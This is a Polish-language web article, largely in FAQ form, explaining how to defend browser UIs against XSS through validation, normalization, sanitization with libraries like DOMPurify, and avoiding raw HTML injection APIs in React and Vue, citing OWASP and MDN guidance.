Najbezpieczniejsze UI zwykle mają jeden wspólny wzorzec: dane przechodzą przez kilka warstw, z których każda ma jasno określoną odpowiedzialność.

  • Wejście (input) – komponenty formularzy ograniczają dane (długość, typy pola, niewidoczne znaki),
  • Walidacja schematem – biblioteka typu Zod/Yup/JSON Schema weryfikuje strukturę i ograniczenia biznesowe,
  • Najczęściej zadawane pytania (FAQ)

    Co to jest XSS i jak ma się do bezpieczeństwa UI w przeglądarce?

    Wyobraź sobie, że użytkownik zamiast zwykłego komentarza wkleja fragment kodu, a Twoja aplikacja traktuje go jak niewinny tekst i od razu wyświetla innym. Przeglądarka widzi w tym kod i grzecznie go uruchamia – dokładnie w kontekście zalogowanego użytkownika.

    XSS (Cross-Site Scripting) to właśnie taki scenariusz: złośliwy skrypt wstrzyknięty w dane użytkownika i wykonany po stronie przeglądarki. Atakujący może wtedy odczytać ciasteczka, localStorage, manipulować DOM-em, a nawet wykonywać akcje w imieniu ofiary. Bezpieczne UI musi więc zakładać, że każda wartość pochodząca od użytkownika jest potencjalnym nośnikiem XSS i wymaga kontroli kontekstu, w którym zostanie wyrenderowana.

    Jaka jest różnica między walidacją, sanitizacją i normalizacją danych w UI?

    Typowy formularz logowania świetnie pokazuje różnicę: użytkownik wpisuje e‑mail z dodatkową spacją, backend spodziewa się konkretnego formatu, a Ty nie chcesz mu zwracać komunikatu „błąd formatu” tylko dlatego, że ktoś stuknął spację na końcu.

    Normalizacja to etap „uprzątnięcia” danych: przycięcie spacji, konwersja stringów na liczby, ustawienie null zamiast pustego tekstu. Walidacja sprawdza, czy dane mają sens biznesowy i techniczny (np. poprawny e‑mail, zakres liczbowy). Sanitizacja zaś usuwa lub modyfikuje niebezpieczne fragmenty (np. z HTML-a wyrzuca tagi <script>, atrybuty on* czy protokół javascript:), tak aby po wstrzyknięciu w DOM nie mogły wykonać kodu.

    Jakie są najczęstsze wektory ataku XSS w nowoczesnym frontendzie (React, Vue, SPA)?

    Najczęściej problem zaczyna się od „małej wygody”: ktoś użyje innerHTML, dangerouslySetInnerHTML w React albo v-html w Vue, żeby szybko wyrenderować HTML z API lub z inputu użytkownika. Dopóki dane są czyste – działa. Gdy raz przejdzie payload z <script> lub złośliwym atrybutem, masz gotowy XSS.

    Typowe wektory to:

    • wklejanie surowego HTML-a do DOM (innerHTML, v-html, dangerouslySetInnerHTML),
    • budowanie atrybutów href/src z danych użytkownika bez sprawdzania protokołu (javascript:, data:),
    • wstrzykiwanie wartości z URL-a (location.search, location.hash) bez escape’u do szablonu,
    • generowanie inline handlerów zdarzeń z danych (onerror, onclick) – tego w ogóle nie powinno się robić na bazie inputu użytkownika.

    Wniosek: im bliżej danych użytkownika jesteś podczas generowania HTML-a lub atrybutów, tym ostrożniej trzeba traktować sposób renderowania.

    Jakie biblioteki pomagają w walidacji i sanitizacji danych po stronie przeglądarki?

    W praktyce zwykle łączysz dwa typy narzędzi: jedne pilnują, żeby dane miały oczekiwany kształt i typ, drugie czyszczą HTML lub niebezpieczne fragmenty. Dzięki temu nie próbujesz ręcznie pisać regexów do wszystkiego.

    Do walidacji i modelowania danych w JS/TS często używa się bibliotek takich jak Zod, Yup, Vest czy class-validator – opisujesz w nich schemat (typ, długość, zakres), który może być współdzielony z backendem. Do sanitizacji HTML w przeglądarce standardem jest DOMPurify, czasem sanitize-html lub wbudowane mechanizmy frameworka (np. domowy sanitizer w Angularze). Te narzędzia działają razem: najpierw walidujesz i normalizujesz dane, a dopiero potem – jeśli faktycznie musisz przepuścić HTML – przepuszczasz go przez sprawdzony sanitizer.

    Czy walidacja na backendzie wystarczy, jeśli używam SPA?

    W SPA typowy błąd wygląda tak: backend waliduje payload, zapisuje „bezpieczną” treść, a frontend po odebraniu danych renderuje markdown na HTML i wkłada go w DOM przez innerHTML. Serwer nic nie wie o tym ostatnim kroku, więc nie ma szans odfiltrować XSS-a, który powstał już po stronie przeglądarki.

    Backend musi walidować to, co przychodzi i wychodzi, ale nie widzi wszystkich transformacji po stronie UI: łączenia danych, filtrowania, generowania HTML-a, osadzania w różnych kontekstach (tekst, atrybut, URL). Dlatego w SPA potrzebny jest wspólny język walidacji (np. współdzielone schematy) oraz osobna warstwa kontroli po stronie frontendu: walidacja typów, limitów, sanitizacja HTML oraz świadomy dobór API frameworka (unikanie niebezpiecznych „skrótów” jak surowy innerHTML).

    Jak bezpiecznie wyświetlać HTML od użytkownika w przeglądarce?

    Czasem funkcjonalność wymaga, żeby użytkownicy mogli dodać pogrubienia, linki czy listy – np. w komentarzach lub opisach. Najgorsze, co można wtedy zrobić, to przepchnąć ten HTML „jak leci” i wstrzyknąć go innerHTML-em, licząc, że nikt nie dołoży tam skryptu.

    Bezpieczniejsza ścieżka zwykle wygląda tak:

    • ograniczasz dopuszczalne elementy i atrybuty (np. tylko b, i, strong, a z href zaczynającym się od http/https),
    • przepuszczasz HTML przez sprawdzoną bibliotekę sanitizującą (np. DOMPurify z własną konfiguracją),
    • renderujesz wynik w sposób przewidziany przez framework (np. w React – dangerouslySetInnerHTML, ale zawsze z uprzednio zsanityzowanym HTML-em),
    • regularnie testujesz typowe payloady XSS, żeby upewnić się, że konfiguracja sanitizera faktycznie je blokuje.

    Przy wielu projektach lepszym wyjściem jest akceptowanie markdown lub bardzo ograniczonego subsetu pseudo-znaczników i ich własny, kontrolowany renderer zamiast arbitralnego HTML-a.

    Jakie dobre praktyki stosować w UI, żeby ograniczyć ryzyko XSS i innych ataków z poziomu przeglądarki?

    Najwięcej problemów wynika z „drobnych kompromisów”, więc dobrze mieć prosty zestaw zasad, do których zespół ciągle wraca. UI przestaje być wtedy tylko „ładną skórką”, a traktujesz je jak część systemu bezpieczeństwa.

    W codziennej pracy pomaga kilka nawyków:

    • nie wstrzykuj surowego HTML-a, chyba że przeszedł przez zaufany sanitizer,
    • zawsze waliduj i normalizuj dane na wejściu (formularze, URL-e, dane z postMessage/WebSocket),
    • świadomie traktuj kontekst renderowania – osobne reguły dla tekstu, atrybutów URL, atrybutów eventowych,
    • unikaj generowania inline handlerów zdarzeń z danych użytkownika,
    • korzystaj z mechanizmów bezpieczeństwa frameworka zamiast je obchodzić „na skróty”,
    • projektuj walidację jako wspólną warstwę front–back, żeby te same reguły były egzekwowane po obu stronach.

    Opracowano na podstawie

    • OWASP Cheat Sheet Series – XSS Prevention Cheat Sheet. OWASP Foundation – Zalecenia zapobiegania XSS, konteksty renderowania, escaping i sanitizacja
    • OWASP Cheat Sheet Series – Input Validation Cheat Sheet. OWASP Foundation – Dobre praktyki walidacji danych wejściowych po stronie klienta i serwera
    • Content Security Policy (CSP) Level 3. World Wide Web Consortium – Specyfikacja CSP ograniczająca skutki XSS i wstrzyknięć skryptów
    • HTML Living Standard. WHATWG – Zasady interpretacji HTML, konteksty atrybutów, skryptów i DOM
    • MDN Web Docs – Cross-site scripting (XSS). Mozilla – Wyjaśnienie typów XSS, przykłady ataków i podstawowe techniki obrony
    • Angular Security Guide. Google – Mechanizmy sanitizacji, konteksty bezpieczeństwa i ochrona przed XSS w Angular
    • React – DOM Elements and dangerouslySetInnerHTML. Meta – Zasady bezpiecznego renderowania HTML i ostrzeżenia dot. dangerouslySetInnerHTML